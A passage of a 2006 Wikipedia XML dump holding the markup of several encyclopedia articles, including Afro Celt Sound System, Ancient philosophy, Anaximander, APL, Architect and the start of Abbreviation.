[[ru:Искусственный интеллект]]
[[simple:Artificial intelligence]]
[[sk:Umelá inteligencia]]
[[sl:Umetna inteligenca]]
[[fi:Tekoäly]]
[[sv:Artificiell intelligens]]
[[th:ปัญญาประดิษฐ์]]
[[vi:Trí tuệ nhân tạo]]
[[tr:Yapay zeka]]
[[uk:Штучний інтелект]]
[[zh:人工智能]]</text>
    </revision>
  </page>
  <page>
    <title>Afro Celt Sound System</title>
    <id>1166</id>
    <revision>
      <id>41181483</id>
      <timestamp>2006-02-25T16:26:09Z</timestamp>
      <contributor>
        <ip>24.200.133.131</ip>
      </contributor>
      <comment>fr</comment>
      <text xml:space="preserve">The '''Afro Celt Sound System''' is a [[band (music)|musical group]] which fuses modern [[dance music|dance]] rhythms ([[trip-hop]], [[techno music|techno]], etc.) with [[Celtic music|Celtic]] and [[Africa]]n influences. It was formed by [[Grammy]]-nominated producer-guitarist [[Simon Emmerson]], and is considered to be somewhat of a [[world music]] [[supergroup (bands)|supergroup]], often having a wide range of guest artists on their albums. 

Their albums have been released through [[Peter Gabriel]]'s [[Real World Records]], and they are also reportedly the best-selling band on the label, only exceeded in sales by Gabriel himself, and their striking live performances have often become the highlights of the [[WOMAD]] concert festivals. They signed a contract with Real World obliged to release five albums, of which the 2005 release ''Anatomic'' is the last; at this writing it is unclear what path the band will take in the future.

In 2003 they changed their name to the simpler '''Afro Celts'''; however, two of their latest albums, ''Pod'', a compilation of new mixes of songs from the first four albums, and their fifth studio album ''Anatomic'' uses the long and familiar form. This decision is apparently affected by the fact that they seem much more well-known as ''Afro Celt Sound System'' around the world.

==Band members==
When Afro Celts began their musical journey in the mid-1990s during the [[Real World Records|Real World]] Recording Week the difference between a guest artist and a band member was virtually non-existent, though as time has passed a following combination of people is most often associated with the name Afro Celt Sound System: ''(Please note that the new release Anatomic only lists Simon, James, Iarla and Martin as regulars)''

# [[Simon Emmerson]] (guitar, producing)
# [[N'Faly Kouyate]] ([[kora (instrument)|kora]], [[balaphon]], [[n'goma]], vocals)
# [[Moussa Sissokho]] ([[djembe]], [[talking drum]])
# [[James McNally (musician)|James McNally]] (ex-[[Pogues]]; [[Bodhrán]], [[accordion]], [[Tin whistle|whistle]])
# [[Johnny Kalsi]] (the [[Dhol drum]])
# [[Iarla Ó Lionáird]] (vocals)
# [[Emer Maycock]] ([[tin whistle]], [[flute]], [[uillean pipes]])
# [[Martin Russell]] (keyboards, producing, engineering, programming)

==Discography==
# ''[[Sound Magic (album)|Volume 1: Sound Magic]]'' (1996)
# ''[[Release (album2)|Volume 2: Release]]'' (1999)
# ''[[Further In Time (album)|Volume 3: Further in Time]]'' (2001)
# ''[[Seed (album)|Seed]]'' (2003)
# ''[[Pod (album2)|Pod]]'' (2004)
# ''[[Anatomic (album)|Volume 5: Anatomic]]'' (2005)

==Related links==
[http://www.realworldrecords.com/afrocelts/ Afro Celts on Real World Records]

[http://www.afrocelts.org/ An Afro Celts Fan Website]

[[Category:World music groups]]


[[ast:Afro Celts]]
[[fi:Afro Celt Sound System]]
[[fr:Afro Celt Sound System]]</text>
    </revision>
  </page>
  <page>
    <title>Ancient philosophy</title>
    <id>1167</id>
    <revision>
      <id>37485671</id>
      <timestamp>2006-01-31T07:20:53Z</timestamp>
      <contributor>
        <username>Pschemp</username>
        <id>110252</id>
      </contributor>
      <comment>Reversion to revision 35648191 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{histphil}}

This page lists some links to '''ancient philosophy''', although for Western thinkers prior to Socrates, see [[Pre-Socratic philosophy]]. In Europe, the spread of Christianity through the Roman world marked the end of [[Hellenistic]] philosophy and ushered in the beginnings of [[Medieval philosophy]].



==Classical==

===Greek===
* [[Pericles]] (495-429)
* [[Aspasia]] (469-406)
* [[Socrates]](469-399) 
* [[Euclid of Megara]] (450-380)
* [[Antisthenes]] (445-360) 
* [[Aristippus]] (435-356)
* [[Plato]] (429-347)
* [[Xenophon]] (429-355) 
* [[Speusippus]] (407-339)
* [[Diogenes of Sinope]] (400-325) 
* [[Xenocrates]] (396-314) 
* [[Aristotle]] (384-322) 
* [[Stilpo]] (380-300)
* [[Theophrastus]] (370-288)
* [[Pyrrho]] (365-275)
* [[Epicurus]] (341-270)
* [[Zeno of Citium]] (365-263)
* [[Cleanthes]] (331-232) 
* [[Timon (philosopher)|Timon]] (320-230) 
* [[Arcesilaus]] (316-232)
* [[Menippus]] (3rd century BC)
* [[Archimedes]] (circa 287 BC - 212 BC)
* [[Chrysippus]] (280-207) 
* [[Carneades]] (214-129) 
* [[Philo of Larissa]] (160-80) 
* [[Posidonius]] (135-51)
* [[Aenesidemus]] (1st century BC)
* [[Philo of Alexandria]] (30 BC - 45 AD)
* [[Plutarch]] (45-120)
===Roman=== 
* [[Cicero]] (106-43) 
* [[Lucretius]] (94-55 BC)
* [[Seneca the Younger|Seneca]] (4 BC - 65 AD) 
* [[Musonius Rufus]] (30 AD - 100)
* [[Epictetus]] (55-135)
* [[Marcus Aurelius]] (121-180)
* [[Clement of Alexandria]] (150-215)
* [[Alcinous]] (2nd century AD) 
* [[Sextus Empiricus]] (3rd century AD)
* [[Alexander of Aphrodisias]] (3rd century AD)
* [[Ammonius Saccas]] (3rd century AD)
* [[Plotinus]] (205-270)
* [[Porphyry (philosopher)|Porphyry]] (232-304)
* [[Iamblichus (philosopher)|Iamblichus]] (242-327)
* [[Themistius]] (317-388) 
* [[Augustine of Hippo]] (354-430) 
* [[Proclus]] (411-485)
* [[Damascius]] (462-540)
* [[Boethius]] (472-524)
* [[Simplicius of Cilicia]] (490-560)

==Schools of thought in the [[Hellenistic]] period==

*[[Cynicism]]
*[[Epicureanism]]
*[[Hedonism]]
*[[Eclecticism]]
*[[Neo-Platonism]]
*[[Skepticism]]
*[[Stoicism]]

==Vedic philosophy==

In the east, Indian philosophy begins with the [[Vedas]] where questions related to laws of nature, the origin of the universe and the place of man in it are asked. In the famous [[Rigveda|Rigvedic]] ''Hymn of Creation'' the poet says:

&quot;Whence all creation had its origin,
he, whether he fashioned it or whether he did not,
he, who surveys it all from highest heaven,
he knows--or maybe even he does not know.&quot;

In the [[Vedic religion|Vedic]] view, creation is ascribed to the self-consciousness of the primeval being (''Purusha''). This leads to the inquiry into ''the one being'' that underlies the diversity of empirical phenomena and the origin of all things.  Cosmic order is termed ''rta'' and causal law by ''karma''. Nature (''prakriti'') is taken to have three qualities (''[[sattva]]'', ''[[rajas]]'', and ''[[tamas]]'').

*[[Vedas]] 
*[[Upanishads]]
*[[Hinduism]]

==Classical Indian philosophy==

In classical times, these inquiries were systematized in six schools of philosophy. The questions asked were:

*What is the ontological nature of consciousness?
*How is cognition itself experienced?
*Is mind (''chit'') intentional or not?
*Does cognition have its own structure?

The six schools of [[Indian philosophy]] are:

*[[Mimamsa]]
*[[Samkhya]]
*[[Yoga]]
*[[Vaisheshika]]
*[[Nyaya]]
*[[Vedanta]]

==Old Iranian philosophy==

While there are ancient relations between the Indian [[Vedas]] and the Iranian [[Avesta]], the two main families of the Indo-Iranian philosophical traditions were characterized by fundamental differences in their implications for the human being's position in society and their view on the role of man in the universe. The first charter of [[human rights]] by [[Cyrus the Great]] is widely seen as a reflection of the questions and thoughts expressed by [[Zarathustra]] and developed in zoroastrian schools of thought.

*[[Avesta]]
*[[Gathas]]
*[[Zarathustra]]
*[[Zoroastrianism]]
*[[Mazdakism]]
*[[Manichaeism]]

==Chinese philosophy==

In China, less emphasis was put upon materialism as a basis for reflecting upon the world and more on conduct, manners and social behaviour, as evidenced by [[Taoism]] and [[Confucianism]].

*[[Chinese philosophy]] -- [[Confucianism]], [[Taoism]], [[Legalism (philosophy)|Legalism]]
*[[Buddhist philosophy]] arose in India but contributions to it were made in [[China]], [[Japan]], and [[Korea]] also.
*[[Eastern philosophy]]

== External links ==
*[http://www.epistemelinks.com/Main/Topics.aspx?TopiCode=Anci Internet sources]

{{Philosophy navigation}}

[[Category:Ancient philosophy| ]]

[[be:Філязофія антычнасьці]]
[[de:Philosophie der Antike]]
[[eo:Greka filozofio]]
[[eu:Kategoria:Haraitzinako filosofia]]
[[fr:Origine de la philosophie]]
[[it:Filosofia antica]]
[[he:פילוסופיה עתיקה]]
[[nl:Klassieke filosofie]]
[[pl:Filozofia starożytna]]
[[ru:Античная философия]]
[[fi:Antiikin filosofia]]
[[sv:Antikens filosofi]]
[[zh:古希腊哲学家]]</text>
    </revision>
  </page>
  <page>
    <title>Anaximander</title>
    <id>1168</id>
    <revision>
      <id>41581865</id>
      <timestamp>2006-02-28T07:44:20Z</timestamp>
      <contributor>
        <username>Zirland</username>
        <id>335898</id>
      </contributor>
      <minor />
      <comment>interwiki</comment>
      <text xml:space="preserve">[[Image:Anaximander.jpg|thumb|right|Anaximander|200px]]
'''Anaximander''' ([[Greek language|Greek]]: '''&amp;#913;&amp;#957;&amp;#945;&amp;#958;&amp;#943;&amp;#956;&amp;#945;&amp;#957;&amp;#948;&amp;#961;&amp;#959;&amp;#962;''')(c.610 BC&amp;ndash;c. [[546 BC]]) also known as '''Aniximander''', was the second of the physical philosophers of [[Ionia]], a citizen of [[Miletus]], a companion or pupil of [[Thales]], and teacher of [[Anaximenes of Miletus]].  Little is known of his life and work.  [[Aelian]] makes him the leader of the Milesian colony to [[Amphipolis]], and hence some have inferred that he was a prominent citizen. The computations of [[Apollodorus of Athens]] have fixed his birth in 611, and his death shortly after 547 B.C.

Ancient sources represent him as a successful student of [[astronomy]] and [[geography]], and an early proponent of [[exact science]].  He has also been said to have introduced such astronomical instruments as the [[sundial]] and the [[gnomon]] to ancient [[Greece]].  Furthermore, he is credited with having  created the first map of the world, which was circular in form and showed the known lands of the world grouped around the Aegean Sea at the center and all of this was surrounded by the ocean.

==Cosmology and the ''apeiron''==
Anaximander's reputation is due mainly to a cosmological work, little of which remains.  From the few extant fragments, we learn that he believed the beginning or first principle (''[[arche]],'' a word first found in Anaximander's writings, and which he probably invented) is an endless, unlimited mass ([[apeiron]]), subject to neither old age nor decay, which perpetually yields fresh materials from which everything we can perceive is derived. 

He never defined this principle precisely, and it has generally (e.g. by [[Aristotle]] and [[Augustine of Hippo|Augustine]]) been understood as a sort of primal [[Chaos_(mythology)|chaos]].  It embraced the opposites of hot and cold, wet and dry, and directed the movement of things, by which there grew up all of the host of shapes and differences which are found in &quot;all the worlds&quot;--as he believed there were many.   

Out of the vague and limitless body there sprang a central mass &amp;mdash; this earth of ours, cylindrical in shape, poised equidistant from surrounding orbs of fire, which had originally clung to it like the bark round a tree, until their continuity was severed, and they parted into several wheel-shaped and fire-filled bubbles of air.

Man himself and the animals had come into being by like transmutations. Mankind was supposed by Anaximander to have sprung from some other species of animals, probably aquatic. For, he thought, man with his extended infancy could not have survived, originally, in the manner he does presently. For this, even though he had no theory of [[natural selection]], some people consider him to be [[evolution]]ary theory's most ancient proponent.

Anaximander offered up the theory of the apeiron in direct response to the earlier theory of his teacher, [[Thales]], who had claimed that the primary substance was [[water]].  Anaximander reasoned that water cannot embrace all of the opposites found in nature &amp;mdash; for example, water can only be wet, never dry &amp;mdash; and therefore, it can not  be the one primary substance.  Nor could any of the other candidates, so Anaximander postulated the [[apeiron]] as a substance that, although it could not be perceived directly, could explain the opposites he could clearly see around him.


----
The one surviving fragment of Anaximander was transmitted as a quote by [[Simplicius_of_Cilicia|Simplicius]] and could be translated as
&lt;h3 align=&quot;center&quot;&gt;Whence things have their origin,&lt;br&gt;
Thence also their destruction happens, &lt;br&gt;
As is the order of things; &lt;br&gt;
For they execute the sentence upon one another&lt;br&gt;
- The condemnation for the crime -&lt;br&gt;
In conformity with the ordinance of Time. &lt;/h3&gt;

== Interpretations ==
[[Bertrand Russell]] in ''The History of Western Philosophy'' interprets the above quote as an assertion of the necessity of an appropriate balance between earth, fire, and water elements, all of which may be independently seeking to aggrandize their proportions relative to the others. Anaximander seems to express his belief that a natural order ensures balance between these elements, that where there was fire, ashes (earth) now exist. Anaximander's Greek peers echoed this sentiment with their belief of natural boundaries that not even their Gods could operate beyond.


[[Nietzsche]], in his ''[[Philosophy in the Tragic Age of the Greeks]]'', claimed that Anaximander was a pessimist. Anaximander asserted that the primal being of the world was state of indefiniteness. In accordance with this, anything definite has to eventually pass back into indefiniteness. In other words, Anaximander viewed &quot;...all coming-to-be as though it were an illegitimate emancipation from eternal being, a wrong for which destruction is the only penance.&quot; (''Ibid.'', § 4) The world of individual objects, in this way of thinking, has no worth and should perish.

== Known Works ==

''On Nature'', circa ? 
:; Subject : Philosophy
:; Referenced in : [[Simplicius_of_Cilicia|Simplicius]] in Phys., p. 24, 13sq.
:; Authenticity : Likely

Map, circa ? (lost)
:; Subject : (First?) Map of his Known World
:; Referenced in : [[Agathemerus]], [[Geographie informatio]]
:; Authenticity : Likely

Some of Anaximander's ideas were also preserved in [[Theophrastus]]'s (lost) history of philosophy, and re-quoted by later authors.

==Honors==
* [[Anaximander (crater)|Anaximander crater]] on the [[Moon]], at 66N, 48W, is named after him. For a picture, see:
* http://www.dirkcouprie.nl/Anaximander.html 
* The [[asteroid]] [[6006 Anaximandros]] is also named after him.

==References==
Dirk L.Couprie, Roobert Hahn, and Gerard Naddaf, 2003. 'Anaximander in Context: New Studies in the Origins of Greek Philosophy', Albany N.Y.: State University of New York Press

==See also==
*[[Milesian school]]

==External links==

* &quot;http://www.utm.edu/research/iep/a/anaximan.htm&quot; Anaximander from The Internet Encyclopedia of Philosophy.
* &quot;http://www.dirkcouprie.nl/Anaximander-bibliography.htm&quot; for an extensive bibliography.

{{1911}}

{{Presocratics}}

[[Category:610 BC births]]
[[Category:609 BC births]]
[[Category:547 BC deaths]]
[[Category:Ancient Greek philosophers]]
[[Category:Presocratic philosophers]]

[[ar:أناكسيماندر]]
[[bg:Анаксимандър]]
[[bs:Anaksimandar]]
[[ca:Anaximandre de Milet]]
[[cs:Anaximandros]]
[[da:Anaximander]]
[[de:Anaximander]]
[[el:Αναξίμανδρος]]
[[es:Anaximandro]]
[[eo:Anaksimandro]]
[[eu:Anaximandros]]
[[fa:آناکسیماندر ملطی]]
[[fr:Anaximandre]]
[[gl:Anaximandro de Mileto]]
[[hr:Anaksimandar]]
[[id:Anaximander]]
[[is:Anaxímandros]]
[[it:Anassimandro]]
[[he:אנכסימנדרוס]]
[[la:Anaximander]]
[[lv:Anaksimandrs]]
[[hu:Anaximandrosz]]
[[nl:Anaximandros]]
[[ja:アナクシマンドロス]]
[[no:Anaximander]]
[[nn:Anaximander]]
[[pl:Anaksymander]]
[[pt:Anaximandro de Mileto]]
[[ro:Anaximandru]]
[[ru:Анаксимандр]]
[[sk:Anaximandros]]
[[sl:Anaksimander]]
[[sr:Анаксимандар]]
[[fi:Anaksimandros]]
[[sv:Anaximander]]
[[tr:Anaksimandros]]
[[zh:阿那克西曼德]]</text>
    </revision>
  </page>
  <page>
    <title>APL</title>
    <id>1169</id>
    <revision>
      <id>38930486</id>
      <timestamp>2006-02-09T16:18:44Z</timestamp>
      <contributor>
        <ip>194.39.218.10</ip>
      </contributor>
      <text xml:space="preserve">'''APL''' is an [[abbreviation]], [[Acronym and initialism|acronym]], or [[Acronym and initialism|initialism]] that may refer to:
*[[Acute promyelocytic leukemia]], a subtype of [[acute myelogenous leukemia]]
*[[American President Lines]], a [[Singapore]]-based container transportation and shipping company
*[[American Protective League]], a WWI era pro-war organization
*[[Association of Pension Lawyers]]
*[[APL programming language]], an [[array programming]] language invented in 1962 
*The [[Adaptive Public License]]
*The [[Apple Public License]]
*The [[AROS Public License]]
*Applied Physics Letters (a journal published by [[American Institute of Physics]], [http://scitation.aip.org/aplo/ website])
*The [[Applied Physics Laboratory|Applied Physics Laboratory]] at [[Johns Hopkins University]]
*The [[Applied Physics Laboratory (University of Washington)|Applied Physics Laboratory]] at the [[University of Washington]]
*The [[United States Navy]] [[hull classification symbol]] for Barracks Craft
*[[Australian Pork Limited]]
*The rap singer [[Allan Pineda Lindo]]
*The [[metadata]] format for [[Monkey's Audio]] files
*[[average picture level]]
{{TLAdisambig}}

[[da:APL (flertydig)]]
[[de:APL]]
[[fr:APL]]</text>
    </revision>
  </page>
  <page>
    <title>Architect</title>
    <id>1170</id>
    <revision>
      <id>42018152</id>
      <timestamp>2006-03-03T06:27:24Z</timestamp>
      <contributor>
        <username>Jamesandra</username>
        <id>991772</id>
      </contributor>
      <comment>/* Notable Schools of Architecture */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Architect.png|thumb|Architect at his drawing board, 1893]]

An '''architect''' is a person involved in the [[planning]], [[Design|designing]] and oversight of a [[Building|building's]] [[construction]]. The most basic definition of an architect is a professional who is qualified to design and provide advice - functional, aesthetic and technical - on built objects in our public and private landscapes.  More generally, an architect is the designer of a scheme or plan.

&quot;Architect&quot; is derived from Latin: ''architectus'', and from Greek: ''arkhitekton'' (master builder), ''arkhi'' (chief) + ''tekton'' (builder, carpenter). [http://www.etymonline.com/index.php?search=architect&amp;searchmode=none]

In the broadest sense, an '''architect''' is a person who interfaces between the end user of a planned structure and the [[builder]].  That is, the architect translates the user's needs into the builder's requirements.  The architect must be completely conversant with the user's environment, that is, the area of business or industry for which the structure is to be used, so that s/he can fully and completely understand the image of the final result that the user is trying to convey.  Equally as important, the architect must thoroughly understand the building and operational codes with which the builder must conform and, upon completion, during use of the structure. That degree of knowledge is necessary so that s/he is not apt to omit any necessary requirements, or produce improper, conflicting, ambiguous, or confusing requirements. S/he must understand the various methods available to the builder for building the user's structure, so that s/he can negotiate with the user to produce a best possible compromise of the results desired within explicit cost and time boundaries.
                                        
Architects are professionals considered on par with doctors, engineers, and lawyers, and they must frequently make building design and planning decisions that affect the safety and well being of the general public. Architects are required to obtain specialized education and documented work experience to obtain professional licensure, similar to the requirements for other [[professional]]s, with requirements for practice varying greatly from place to place (see below).

The most prestigious award a living architect can receive is the [[Pritzker Prize]].  It is considered the equivalent of the [[Nobel Prize]] for [[architecture]].  Other awards for excellence in architecture are given by national and regional professional associations such as the [[American Institute of Architects]] and [[Royal Institute of British Architects]].
  
&lt;!--If you would like to describe someone who is not an architect, please consider adding another entry (or at least creating another paragraph).  This one is intended to define the professional term Architect, which has a legal definition in most areas.--&gt;

&lt;!--This is not a legal dictionary--&gt;

Although '''architect''' may be a specific term referring to a licensed professional, the word is frequently used in the broader sense noted above to define someone who brings order to the built or unbuilt environment through the use of rational constructs using (engineering) design tools. ['''Note:''' someone who brings order to the built and/or unbuilt environment through the use of rational '''or irrational''' constructs and '''who may or may not use''' design tools is normally referred to as an [[artist]]. Although structures described by [[architectures]] may often be said to contain [[artistic]] features, as a whole they are rarely referred to as works of [[art]].  Similarly, works of [[art]] are rarely referred to as having an [[architecture]].]

For example, '''naval architects, software architects,''' etc., and graduates of schools of architecture not doing regulated project/construction documents are often called '''architects.'''  However, '''non-licensed architects''' and designers working in the [[construction industry]] are prohibited from referring to themselves as '''architects''' in most countries. 

==Canada==
In [[Canada]], architects are required to belong to provincial architectural associations that require them to complete an accredited degree in architecture, finish a multi-year internship process, pass a series of exams, and pay an annual fee to acquire and maintain a license to practice. 

The [[Royal Architectural Institute of Canada]] [http://www.raic.org/] aims to be &quot;the voice of Architecture and its practice in Canada.&quot; Architects who are members of this organization are permitted to use the suffix MRAIC after their names. All members of the RAIC hold accredited degrees in architecture, but not all Canadian architects are members of the RAIC.

==UK==

Architects in the [[UK]] qualify through courses and exams recognized by the [[Royal Institute of British Architects]] (RIBA) and prescribed by the [[Architects_Registration_Board|Architects Registration Board]] (ARB). 

Typically the sequence of education leading to full [[professional certification|qualification]] and registration takes seven years and is:

* Three-year degree course
* RIBA Part 1 exam
* One year’s professional experience
* Further two-year course
* RIBA Part 2 exam
* Another year’s professional experience
* RIBA Part 3 exam

The title ‘architect’ has legal protection in the United Kingdom; under the [http://www.opsi.gov.uk/acts/acts1997/97022--f.htm#20 Architects Act 1997] it is against the law for people who are not registered to practise or carry on business under any name, style or title that contains the word. 

However, [[draughtsmen]] and [[architectural technologists]] (previously architectural technicians), as well as many who have chosen not to register, may also provide architectural services.

==USA==
In the [[United States]], people wishing to become licensed architects (interns) are required to have a degree from a school accredited by the [[#External Links|NAAB]] and pass a series of exams administered by the National Council of Architectural Registration Boards (NCARB), referred to as the [[Architect Registration Exam]]ination (the ARE).  In addition, interns must have a minimum of 3 years of documented, practical work experience (quantity depends on type of educational experience and type of educational degree earned) working under a licensed Architect before they may become eligible to take the ARE.  Although the ARE is a national exam, each state has specific requirements and issues their own licenses (including California and Hawaii), due to varying environmental conditions in each region. Other states have reciprocity agreements, so licenses may be easily transferred between certain states. Schooling is not always required in such states as New York, for someone who works at least 10 years under an accredited architect is eligible for a licensing test. 

There are three types of accredited (&quot;professional&quot;) degrees in architecture in the United States; a Bachelor of Architecture, a Master of Architecture, or a Doctor of Architecture (abbreviated as B.Arch., M.Arch., and D.Arch., respectively).  These are called professional degrees as they are required to enter the profession. A Bachelor of Arts in Architecture (BA), Bachelor of Fine Arts in Architecture (BFA Arch), Bachelor of Science in Architecture (BS), or Bachelor of Environmental Design (B.Envd) typically takes four years - as opposed to five for a B. Arch degree - and is considered a pre-professional degree. However a professional degree may still be required  (to take the ARE and to practice) and the programs are often combined usually leading to an M.Arch degree.  A pre-professional degree is not necessary to enter a professional degree program, but accelerates completion. It is possible to become licensed as an Architect in other ways: reciprical licensure for over-seas architects and working under an architect as an intern for an extended period of time. Following graduation from a professional program, documented apprenticeship (typically 3 year internship) is required before the individual is eligible to take the ARE and become licensed.   

The [[American Institute of Architects]] [http://www.aia.org] is a professional organization dedicated to offering a network of services to architects in the United States.  Architects who are members of this organization are permitted to use the suffix AIA after their names.  All architects who are licensed by their respective states have professional status as Registered Architects (RA), which is the suffix used if the architect is not also a member of the AIA.

==Hong Kong==
In [[Hong Kong]] to be an architect, one must be a graduate of a university specified by the HKIA plus a two year internship, then take the architect registration examination. Architects from U.K. and U.S.A. with 10 years experience aren't required to take the examination, but are required to attend an interview just as a formality.

Architects in Hong Kong are not authorized to submit building plans but use it as a 'title' only, unlike in most of the western world which carries a statutory obligation. To be able to submit building plans, architects, engineers or surveyors must go through another step by passing an authorized personal interview. Contrary to popular thought, most of the famous buildings in Hong Kong are designed by well-known international 'brand' architects and local architects act only as facilitators.

==Australia==
In [[Australia]] the title architect is legally protected and architects are registered through state boards. These boards are affiliated through the [http://www.aaca.org.au/index.html Architects Accreditation Council of Australia]. The AACA also provides accrediation for schools and assessments for architects with overseas qualifications for the purposes of migration.

There are three key requirements for registration. The first is a professional degree from a school of architecture accredited by the AACA. This is generally a Bachelor of Architecture degree of five or six years duration. The second is at least two years of practical experience and the third is the completion of the architectural practice examination.

Architects may also belong to the [http://www.architecture.com.au Royal Australian Institute of Architects] which is the professional organisation and members use the suffix RAIA after their name.

==Famous architects==
The architects in the [[List of architects|list of famous architects]] are in chronological order of when they did their most important work (or emerged), and alphabetized within each time period. 



==Notable Schools of Architecture==
 
*[[Architectural Association School of Architecture]], [[London]]
*The Bartlett School of Architecture [http://www.bartlett.ucl.ac.uk/architecture/programmes/bsc.htm], Faculty of the Built Environment (London, UK)
*[[Berlage Institute]] [http://www.berlage-institute.nl/], [[Rotterdam]] 
*[[Bauhaus]]: [[Weimar, Germany|Weimar]], [[Dessau]], and [[Berlin]]
*[[Columbia University]] [http://www.columbia.edu/], Grad. School of Architecture Planning and Preservation ([[GSAPP]]) [http://www.arch.columbia.edu/]
*The School of Art, Architecture and Planning [http://www.architecture.cornell.edu/] at [[Cornell University]] in Ithaca, New York
*[[Dalhousie University]] (TUNS) School of Architecture [http://architectureandplanning.dal.ca/architecture/index.shtml] in Halifax, NS, Canada
*[[École Nationale Supérieure d'Architecture de Versailles]], [[Versailles]], [[France]] [http://www.versailles.archi.fr]
*[http://www.arch.ethz.ch/ ETH Zurich], [[Switzerland]]
*[[Glasgow School of Art]], [[Glasgow]], [[Scotland]]
*[[Harvard Graduate School of Design]]
* University Institute of Architecture, [[Venice]], Italy
* The School of Architecture[http://www.mcgill.ca/architecture/] at [[McGill University]]
*[http://www.design.upenn.edu/index.php Penn Design] at the [[University of Pennsylvania]] in [[Philadelphia]], [[Pennsylvania]]
*[[Politecnico di Milano]], [[Milan]], Italy
*[[Rhode Island School of Design]] [http://www.risd.edu/]
*[[Rural Studio]] [http://www.ruralstudio.org], of [[Auburn University]], [[Alabama]]
*[http://arch.rwth-aachen.de/ RWTH Aachen], [[Germany]]
*[[University of California, Berkeley|UC Berkeley]] College of Environmental Design
*[[University of Texas at Austin]] School of Architecture
*[[University of Washington]] [[College of Architecture and Urban Planning]]
*[http://www.architecture.uwaterloo.ca/ School of Architecture] at the [[University of Waterloo]], Canada
*[http://www.cardiff.ac.uk/archi/ Welsh School of Architecture], [[Cardiff University]], [[Cardiff]], [[UK]]
*[[Yale University|Yale]] School of Architecture [http://www.architecture.yale.edu/] in New Haven, Connecticut
*[[CCNY]] School of Architecture [http://www1.ccny.cuny.edu/prospective/architecture/] in New York City

==See also==                                     
*[[Architecture]]
*[[Architectural Designer]]
*[[Architectural technologists]]
*[[Building design]]
*[[Civil engineer]]
*[[Civil engineering]]
*[[Clerk of the Works]]
*[[Landscape architect]]
*[[Landscape architecture]]
*[[Naval architect]]
*[[Project manager|Project Manager]] (PM)
*[[Project Architect]] (PA)
*[[Regional planning]]
*[[Structural engineer]]
*[[Structural engineering]]
*[[Urban planning]]
*[[Urban planner]]
*[[Vernacular Architecture]]

==External links==
*[http://www.riba.org/ Royal Institute of British Architects] - Professional association for architects in the United Kingdom
*[http://www.raic.org/ Royal Architectural Institute of Canada] - Professional association for architects in Canada
*[http://www.aia.org/ American Institute of Architects] - Professional association for architects in the United States
*[http://www.ncarb.org/ National Council of Architectural Registration Boards] - Administers professional registration testing in the United States
*[http://www.naab.org/ National Architectural Accrediting Board] - Professional degree programs in architecture schools in the United States
*[http://www.architecture.com.au Royal Australian Institute of Architects] - Professional association for architects in Australia
*[http://architect.architecture.sk/ Famous architects] Biographies of well-known architects, almost all of the Modern Movement.

[[Category:Architects| ]] 
[[Category:Architecture and engineering occupations]]
[[Category:Professions|Architect]]
[[Category:Professional certification]]
 

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[[ja:建築家]]
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  <page>
    <title>Abbreviation</title>
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      <text xml:space="preserve">{{mergefrom|Apocopation}}
'''Abbreviation''' (from [[Latin]] ''brevis'' &quot;short&quot;) is strictly a shorter form of a word, but more particularly, an ''abbreviation'' is a letter or group of letters, taken from a word or words, and employed to represent them for the sake of brevity. For example, the word &quot;abbreviation&quot; can be abbreviated as &quot;abbr.&quot; or &quot;abbrev.&quot;

== Types of abbreviations ==

Apart from the common form of shortening one word, there are other types of abbreviations. These include [[acronym and initialism]] (including [[TLA]]),
[[apocopation]] (that is, apocope), [[clipping (phonetics)]], [[elision]], [[syncope]], syllabic abbreviation, [[portmanteau]].

=== Syllabic abbreviation ===
A syllabic abbreviation (SA) is an abbreviation formed from (usually) initial [[syllable]]s of several [[Word (linguistics)|word]]s, such as ''[[Interpol]]'' for '''''Inter'''national '''pol'''ice''.

SAs are usually written in [[lower case]], sometimes starting with a [[capital letter]], and are always [[pronunciation|pronounced]] as words rather than letter by letter.

SAs should be distinguished from [[portmanteau]]x.

==== Use in different languages ====

Syllabic abbreviations are not widely used in [[English language|English]] or [[French language|French]], but are common in [[German language|German]].

They prevailed in [[Nazi Germany|Germany under the Nazis]] and in the [[Soviet Union]] for naming the plethora of new bureaucratic organizations. For example, ''[[Gestapo]]'' stands for '''''Ge'''heime '''Sta'''ats-'''Po'''lizei'', or &quot;secret state police&quot;. This has given SAs a negative connotation, even though SAs were used in Germany before the Nazis, e.g., ''[[:de:Schupo|Schupo]]'' for ''Schutzpolizei''. Even now Germans call part of their police ''[[Kripo]]'' for ''Kriminalpolizei''.  SAs were also typical of German language used in the [[German Democratic Republic]], e.g. ''[[Stasi]]'' for ''Staatssicherheit'' (&quot;state security&quot;, the secret police) or ''Vopo'' for ''Volkspolizist'' (&quot;people's policeman&quot;).

[[East Asia]]n languages whose writing uses [[Chinese language|Chinese]]-originated [[ideogram]]s instead of an alphabet form abbreviations similarly by using key [[Chinese character|character]]s from a term or phrase.  For example, in [[Japanese language|Japanese]] the term for the [[United Nations]], ''kokusai reng&amp;#333;'' (&amp;#22269;&amp;#38555;&amp;#36899;&amp;#21512;) is often abbreviated to ''kokuren'' (&amp;#22269;&amp;#36899;). Another classic example is ''[[shogun]]''. Such abbreviations are called [[:ja:&amp;#30053;&amp;#35486;|ryakugo]] (&amp;#30053;&amp;#35486;) in [[Japanese language|Japanese]]. SAs are frequently used for names of universities: for instance, ''Beida'' (北大, Běidà) for [[Peking University]] ([[Beijing]]) and '''Tōdai'' (東大) for the [[University of Tokyo]].

==== Usage of syllabic abbreviations in organisations ====

Syllabic abbreviations are preferred by the US [[Navy]] as it increases readability amidst the large number of [[initialism]]s that would otherwise have to fit into the same [[acronym]]s. Hence ''[[DESRON]] 6'' is used (in the full capital form) to mean &quot;Destroyer Squadron 6,&quot; while ''[[COMNAVFORLANT]]'' would be &quot;Commander, Naval Force (in the) Atlantic.&quot;

==Style conventions==
In [[modern English]] there are several conventions for abbreviations and the choice may be confusing. The only rule universally accepted is that one should be ''consistent,'' and to this end publishers express their preferences in a [[style guide]].

Questions which arise include the following:
* Use of upper or lower case letters.  If the original word was capitalised, then the first letter of its abbreviation should retain the capital, for example Lev. for Leviticus.  When abbreviating words spelled with lower case letters, there is no consistent rule. 
